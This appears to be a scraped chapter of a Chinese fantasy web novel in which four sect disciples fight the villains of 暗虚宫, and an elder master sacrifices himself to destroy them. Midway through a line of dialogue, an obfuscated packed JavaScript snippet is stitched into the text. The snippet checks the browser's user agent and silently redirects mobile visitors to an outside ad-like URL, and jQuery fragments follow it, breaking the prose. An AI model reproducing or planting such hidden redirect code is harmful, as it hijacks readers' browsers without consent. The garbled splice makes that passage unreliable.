52. 病树前头万木春
作品:《师姐她总是喊打喊杀》 绥历三十五年,秋。
青云宗霜雪宗天剑宗达成合作,联合大小宗门齐力讨伐暗虚宫。
暗虚宫地势险要难寻,唯一的突破点便是有人先行打开通往暗虚宫的云梯。
这云梯的化身,便是裴昭羽的手下温卓的兵器,那日他们看到的火棍。
而先行者,便是逍遥宗仅剩的四人。
云初和慕回与裴叙的关系也在岁晚的调和下变得如初。
其实本就没什么仇恨和偏见,只是一时接受不了裴叙也是邪修的身份。
他们来到门前,面前是一比他们大十倍的妖兽,外形如牛,却有四角,眼睛若人,耳朵如猪,血盆大口露出尖锐的獠牙,眼睛低睨,它的脚下站着一老人,老人的身旁是一个少年,少年的身后站着排排身穿黑衣的人。
这妖兽他们见过,在宗月庙,名叫诛邪,这老人他们也见过,本以为他有些病,可现在却看着硬朗得不行,没有一丝生病的迹象。
那少年身着黑衣,手上是冒着火光的火棍,这人他们也见过,甚至还打了一架。
都是老熟人。
宋闻升迟钝地笑着,身旁的妖兽附和着发出仰天嘶鸣,他伸手摸了摸诛邪的前肢,说道:“就你们几个?那可不够,连给我的宝贝塞牙缝都不够。”
温卓极其嫌弃地翻了个白眼,单手举起做了个手势,没有任何征兆地身后的黑衣人蜂拥而上。
“年轻人就是急性子。”宋闻升嘟囔。
四人分散开,与这群黑色的身影混合。
四人周旋久后,岁晚的面前横插了一根火棍在她的脚边,紧接着便有一黑色身影落在她面前。
“你的对手,是我。”
岁晚却收剑,“我只一个问题,逍遥宗,是不是你做的。”
第一眼看到宗门破败的景象时她便有所怀疑,他们的身上没有所谓妖兽的抓痕,反而全是各种兵器所伤,这个打法他们早就领教过了。
温卓甩着棍花,嘴角勾着得逞而又阴险的笑,“是我又怎样?你能拿我如何?”
听到这话,岁晚即刻举剑上前,眼尾猩红,“我让你偿命。”
二人的交手速度极快,在下面的人看来只能看到一白一黑交错着出手。
约莫百十个回合,二人皆落地摩擦数米远停住身子。
“岁晚!”
岁晚本以为是云初和慕回喊的,看到面前的身影才发现是裴叙。
“没大没小,叫师姐。”
岁晚抹了嘴角的血缓缓起身,背剑而立冷眼看着离自己不远处的温卓。
“废物,连个小姑娘都打不过。”宋闻升上前站在了温卓的面前,只轻轻打了个响指,诛邪便像得到命令一般嘶吼着朝他们冲过去。
云初和慕回收了剑站在他们身边,只听得云初嗤笑的声音,“喂!你的这群手下怎么那么不禁打,我的筋骨还没活动开呢就已经死光了。”
云初和慕回的修为这几个月大有精进,对付这群人已经是手到拈来。
慕回阖了阖眼给了云初一棒槌,“还装x,看不见这畜牲冲着我们来了吗?”
云初讪讪伸手结印,“来了来了,坤字,包罗万象。”
说罢一道冒着金光的结界将他们四人包裹了起来,诛邪撞在屏障上,接触的皮肉发出滋滋的响声,像是熟了一般,它被痛得前肢抬起,发出一声惨叫。
裴叙蹙了蹙眉,“这样下去不是办法,我们需找到这妖兽的弱点才行。”
话音刚落,面前的结界就被诛邪一脚踏碎,四人惊呼一声,迅捷地避开才没被一脚踩死。
来不及言语,那诛邪便又冲着他们过来。
几个回合下来,他们看起来虽不占上风,但倒也慢慢地开始摸到了规律。
诛邪身形高大,便会出现视线盲区,他们便利用它的视线盲区一点点牵制住它的行动。
裴叙的千丝引紧紧地缠绕着诛邪的身上,发出忽明忽暗的红光。
“卧槽裴叙,你这东西是这样用的吗?”
往常他们都是用来当导航用的,没想到千丝引的用处这么大。
“云初,建阵。”裴叙喊道。
“好啊,这我擅长。”
云初双手结印,它的四周缓缓出现一道屏障,此刻却有两道黑色身影袭来,裴叙眼疾手快地全部拦下。
“师兄。”裴叙回头看向慕回。
慕回对着他颔首,“师弟,我来助你。”
慕回伸手,他将灵力汇于掌心,然后再源源不断地注入云初体内。
面前的阵法发出鲜艳的光亮,一点点扩大。
岁晚和裴叙并肩而立,看着面前的一老一少。
“尊老爱幼,此刻当真是聚全了。”
岁晚嗤笑。
温卓怒道,“不自量力的东西。”
说罢便举着火棍上前,却被裴叙一剑拦下。
“又是你!死了就给我好好的死啊,回来碍什么眼!”
温卓咬牙切齿道。
裴叙一身墨衣挺拔而立,佩剑背于身后,听到他的话只淡淡掀了掀眼皮,语气间尽是漫不经心,“我就算死了,你也当不了这少宗主,不是吗?”
戳及温卓的痛处,他再也顾不了许多,直接举着火棍上前,“给我去死!”
“岁晚。”
裴叙示意岁晚一人一个,这个便由他来对付。
岁晚掏了掏耳朵,似乎对于他这个称呼非常不满,“没大没小!叫师姐!”
说着,宋闻升便拿着冷枪朝正在打斗的二人冲去,岁晚甩剑而出,直直立在他的面前拦住他的去路。
宋闻升看着插在地上的剑,惊讶地喃喃道,“这是……”
岁晚倾身上前,拔了剑便朝他刺去,“熟悉吗?”
宋闻升眯了眯眼,边躲边退,“你是十三年前……裴亦文拼死救走的那个女孩?”
二者的灵力相冲,兵器相撞发出清脆的碰撞。
“你不需要知道,你只要知道,我是来杀你的。”
“离字,星火燎原。”
火光伴着剑势不可阻挡,宋闻升从方才的惊讶中回神,条件反射地举起手中的枪去挡。
轰鸣之间,岁晚素身着地,宋闻升的姿势不变,紧接着便听到清脆的断裂声。
那冷枪,竟从中间,断为了两截。
这边温卓不敌,火棍插地连连后退,在地上划出一道红痕。
二人狼狈而立,恶狠狠地看着面前光风霁月的两人。
温卓看着地上的枪冷哼一声,“破烂玩意。”
宋闻升手指曲起,身体慢慢悬浮,最后竟直直入了诛邪的身。
“师兄!”
本来建阵的二人因着宋闻升与诛邪融为一体的爆发力被冲撞了数米远,岁晚和裴叙瞬步接住察看他们的伤势。
“没事吧?”
岁晚一脸担忧。
慕回摇头,二人拿出事先备好的药丸吃下。
那诛邪竟挣脱了千丝引,周围迸发着黑气,仿佛是深不见底的黑洞,让人莫名生惧。
“这是什么东西……”岁晚看着这庞然大物喃喃道。
“这是他的本体,诸怀。”裴叙抬眼淡声回答。
“他是妖啊?看不出来啊,长得人模狗样的。”云初依旧是不着调的语气。
“要当心,我也从未和他交过手,不知他底细如何。”
温卓甩着火棍冷哼一声,“这畜牲打不过就回老巢”,说着他看向那诸怀,“老东西,合个作?我只要裴叙。”
那妖兽传来一阵笑声,显得阴森可怖,“你没有资格和我谈条件。”
温卓低骂一声,“老不死的畜牲。”
说罢温卓举着火棍,一股股黑烟开始被他吸取逐渐和他融为一体,这现象和当初交手的一样,所以他们没有多想地便齐齐出手,但为时已晚。
温卓伸着懒腰,“修仙人的灵力炼出的煞当真是美味。”
众人眼睛微眯,“果然,一切都是你们捣的鬼。”
“知道便知道了,因为你们,也要成为其中的一员了。”
说着五人一妖便交上了手。
兵器的乒乓声和划出的势交错着,让人有些看不清虚实。
脚下不知道碰到了什么,竟在地上泛着光。
“云初!”
裴叙见此心生一计,赶紧喊着云初的名字。
云初随即明白,刚才建的阵只差最后一步,方才被强行终止而阵眼却未消散。
他们现在唯一的破局之法便是将他们引入阵眼歼灭。
四人齐齐出手,几乎用尽了全身的气力将他们二人逼退至了阵眼。
紧接着云初和慕回便双手结印,岁晚和裴叙持剑上前。
“岁晚,让他们再瞧瞧,何为仙。”
裴叙挽着剑花旋身而上,听到这话的岁晚一顿,来不及多想便瞬步跟在他身后。
“我以吾血引雷霆,血染苍穹,星辰陨落。”
岁晚划破指尖,血气浸染剑身,“乾字,星奔川鹜。”
星辰伴着雷霆直直冲往阵眼,剑光如星河倒泻,势如长虹,世界仿佛都恢复了白色,耳边只有嗡嗡的耳鸣声。
一白一黑的身影逆着阵风落地,身后火光冲天,一声巨响,天地震颤,只留下凄厉的惨叫,和爆炸之后的灰烬。
那火棍在黑雾中现身,发出刺眼的白光,顷刻之后,直冲云霄,竟在天边化作云梯,一直延申至山脚。
还未晃神,身后便又出现了蠢蠢欲动的妖兽慢慢围绕在他们身边,四人举着剑背靠背紧紧贴着,警惕地看向面前血盆大口下一步就要将他们拆之如腹的妖兽。
突然妖兽之间开出了一个道,黑暗中走出一人,他鼓着掌勾着唇,语气间尽是嘲弄,“真是精彩真是精彩,若放在十三年前,我真是要把你们都抓回来。”
“阿叙啊,你真是长大了,连我的话都不听了。”
“你若是能重新回到我的身边,我可以考虑考虑留你的小伙伴们一条性命。”
裴叙背剑而立,冷声道,“做梦。”
裴昭羽像是算准了他们此时会力竭,故意现在才现身。
这样看来,他似乎也并没有将宋闻升和温卓的性命放在眼里。
准确来说,对于他这种人,没有把任何生命放在眼里过。
看着面前的众多妖兽,往日的记忆与此时重合。
十三年前,摇光仙门灭门,也是这般场景。
妖兽的咆哮和嘶鸣,大雨打在耳畔的哗哗声,弟子的哀嚎,孩童的哭声。
这些像是挥散不去的梦魇,常常伴随着那日存活下来的每一个人。
活着有时何尝不是痛苦。
可他们不能死。
“我们之间,是该有个了结。”裴叙上前眼睛低睨,马尾垂在腰间,朱色的发带随风荡起,他的手深陷入掌心,喉间是被钝刀割裂的刺痛。
岁晚站在他身边,侧目看他,坚定道,“还有我。”
“还有我们。”
云初和慕回的声音在他的身边响起。
“自不量力。”
裴昭羽听到这话立即敛了笑,身子向后退去,取而代之的是那些丑恶的妖兽对着他们步步紧逼。
“给我点时间,我可以建阵。”云初说着便要结印。
裴叙却放下他的手摇摇头,“这些妖兽杀不死,皆被母符控制,只要母符还在,他们便会一直攻击。”
岁晚蹙眉,“所以我们只要找到母符并毁了它就可以了吗?”
“嗯。”
“那母符在哪啊?”
“……不知道。”
“……”
“那群人怎么走那么慢还没上来?”岁晚换了一种方式。
“不会又偷偷跑了吧?”
“若真是这样,我出去了就将他们的老巢砸个稀巴烂。”岁晚一剑斩过面前的妖兽怒声说。
岁晚第一次感觉打架那么累,那些妖兽就像没有生命的木偶,感觉不到疼痛也不知道退后,只是一味地攻击他们,像流水一般滔滔不绝。
“你们读书人的字典里有一句话怎么说来着。”
岁晚一剑劈开面前的妖兽脚下轻点悬空而上。
裴叙顿住,跟着岁晚的步子向前。
果然下一句她便喊着,“擒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111780|164100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贼先擒王。”
“岁晚,要当心。”裴叙为她铺陈着路让她能尽量无阻。
岁晚来到裴昭羽面前,蓄力一剑劈下去,“都说了,叫师姐!”
剑身化作火凤发出悲鸣,随着岁晚的动作径直俯冲朝底下的裴昭羽冲去。
可裴昭羽却不慌不忙,右手缓缓打了个响指,接着便有一群妖兽挡在了他的面前,火凤所到之处皆是一片灰烬。
岁晚落地喘着粗气,本以为这样就会结束,哪知那些灰烬竟然慢慢聚集了起来,缓缓现出了形状。
还是那一批。
岁晚忍不住大骂,“卧槽真就一点杀不死啊。”
裴叙来到岁晚跟前扶着她的胳膊,“没事吧?”
岁晚摇头。
已经有些脱力了。
不只是岁晚,云初和慕回听到声响也跑了过来喘着气。
“得想个办法,不然我们非得累死在这。”云初道。
“这些怪物我真是闻所未闻。”慕回也喘着气,虚脱地出声。
没给他们留太多的时间,那些妖兽再次蜂拥而至。
四人正要出手之际,一抹白色的身影缓缓降落在妖兽之间,强大的真气迫使它们齐齐向后飞去。
那人手着拂尘,银发如褪色的银河倾泻而下,发间是一根月白的玉簪,身上皆有雪花和月亮的绣样。
岁晚扫量着他,突然出声,“望月霜雪宗……清阳?”
清阳听到自己的名字缓缓回头,“好久不见啊岁丫头。”
他的眉间一抹淡金,所经之处皆遍地生花,水汽悬停。
是仙。
“师尊,您怎会……您出关了?”
清阳甩了甩袖子,眉眼间露出极淡的笑意,“我与这人有些渊源,心中执念难消,誓要来取此孽障的性命。”
十三年前霜雪宗几乎覆灭,掌门清阳重伤闭关至今,传闻当真不假。
妖兽中走出一人,蹙着眉看着面前的身影,突然畅怀大笑,“哈哈哈哈哈哈你竟还没死?”
清阳眯眼一笑,毫不畏惧,“你还未死,我又怎能舍得西去。”
“这些畜牲你能杀得,那他们呢。”
裴昭羽突然很兴奋一般咧着嘴,响指一打,山下便走上来一群修仙弟子,他们皆眼神空洞,两手放在身前,关节以违背寻常的方式行走,仔细看时,他们的头上都悬着一根红线,像是被人牵制的体现木偶。
“杀的那些宗门弟子足以让我有控制所有人的能力,只要修炼的是是同一种功法,便一个都逃不掉,都将沦为我的傀儡为我所用哈哈哈哈哈——!!”
“孽障”,清阳低斥,“你本是裴氏旁支的小卒,是裴家家主见你有修仙的天赋力排众议将你提拔,授你诗书传你功法,可你却忘本逐利,秘密修炼禁术,灭裴家满门,你可知错!”
裴昭羽像是疯了一般哈哈大笑,“授我诗书?传我功法?他教的只不过是没用的东西罢了,我天赋不比他差,可我只能学一些浅显的功法,同样是裴家人,他用的是祖传的佩剑,而我就是集市上批发来的下等货……”
“额……其实我们也是。”云初突然举手。
“你闭嘴!”裴昭羽怒目圆睁,指着他怒斥,“我与你怎能相提并论?我的修炼天赋是整个裴家最好的,无人能与我匹敌!!!我就该享受这世界上最好的待遇!你们又算是什么东西?!!”
岁晚掏了掏耳朵,只觉得荒谬。
“废物就应该接受自己是废物,哪来的那么多高谈论阔”,岁晚冷言上前,“灭门之仇,不共戴天。”
清阳闭眼,缓缓出声,“你们用尽你们的全力助我即可。”
说罢他的口中开始吐出金色的符文,绕着所有人旋转。
裴昭羽嗤笑,“十三年前你就败过一次,你当真以为如今便能赢我?”
说着一声令下,那些妖兽怒吼着朝他们冲去。
“出手!”清阳蓦地睁眼,大喝一声。
四人举剑上前,将自己全身的灵力汇于剑中,清阳的脚下出现一个巨大的阵法,随着灵力的增加阵法慢慢扩大。
“这是……”
裴昭羽瞪大了眼睛不可置信地看着这个阵法。
“你应该非常熟悉,这便是你当初灭裴家满门时,裴家家主集全门之力反抗用的阵法,弑神。”
裴昭羽对于这个阵法太过熟悉,此阵法是裴家绝学,除了家主无一人能接触到此阵的核心,当年裴亦文用这个阵法时若不是他已经身受重伤,绝无生还可能。
此阵的核心,便是以命换命。
当初已是末路,裴亦文便用全族的命,来与他一敌。
那时被他重伤,此后便修为难进,落在金丹止步不前。
裴昭羽的第一反应便是跑,可阵法已成,哪里能容他随意进出,阵中皆生出藤蔓,牢牢地禁锢着阵中的每一只妖和每一个人。
忽地,岁晚等人皆被一道真气撞得向后飞去,几人重重地摔在了地上。
“师叔!”裴叙没有犹豫地起身,逆着阵风向前。
他太清楚此阵是为何了,也在方才便明白清阳要做的是什么。
他要以身祭阵,像当年父亲一样。
清阳看着他缓缓展颜,“阿叙,师叔对不起你,十三年前未曾救下裴家满门,此事一直是我的心结,闭关这几年每每午夜梦回皆是那一日场景,我没有一天不想着赎罪,那便让我在今日做个了结吧。”
话音刚落,他们便听到了一声极其清脆的声响,似铜镜破碎,尖锐而突然。
世界仿佛归于宁静,一道真气再次把他们向后撞去。
回过神时,那些宗门弟子皆晕倒在地,他们的头上没有了那根红线,周围也没有了妖兽的身影,那座宫殿也不复存在,似乎在方才清阳就已经把这世间最大的丑恶带走,只留给这个世界最美好的样子。
残阳西斜,山峦被镀了一层锈红,溪流不急不缓,偶尔有几片落叶漂浮在水面,随着水流缓缓前行,三两只落雁掠过那红霞,羽翼边缘迸出细碎的火星,风掠过所有人,在他们的衣摆和发丝上留下痕迹。
远处的天边,金光万丈,云蒸霞蔚。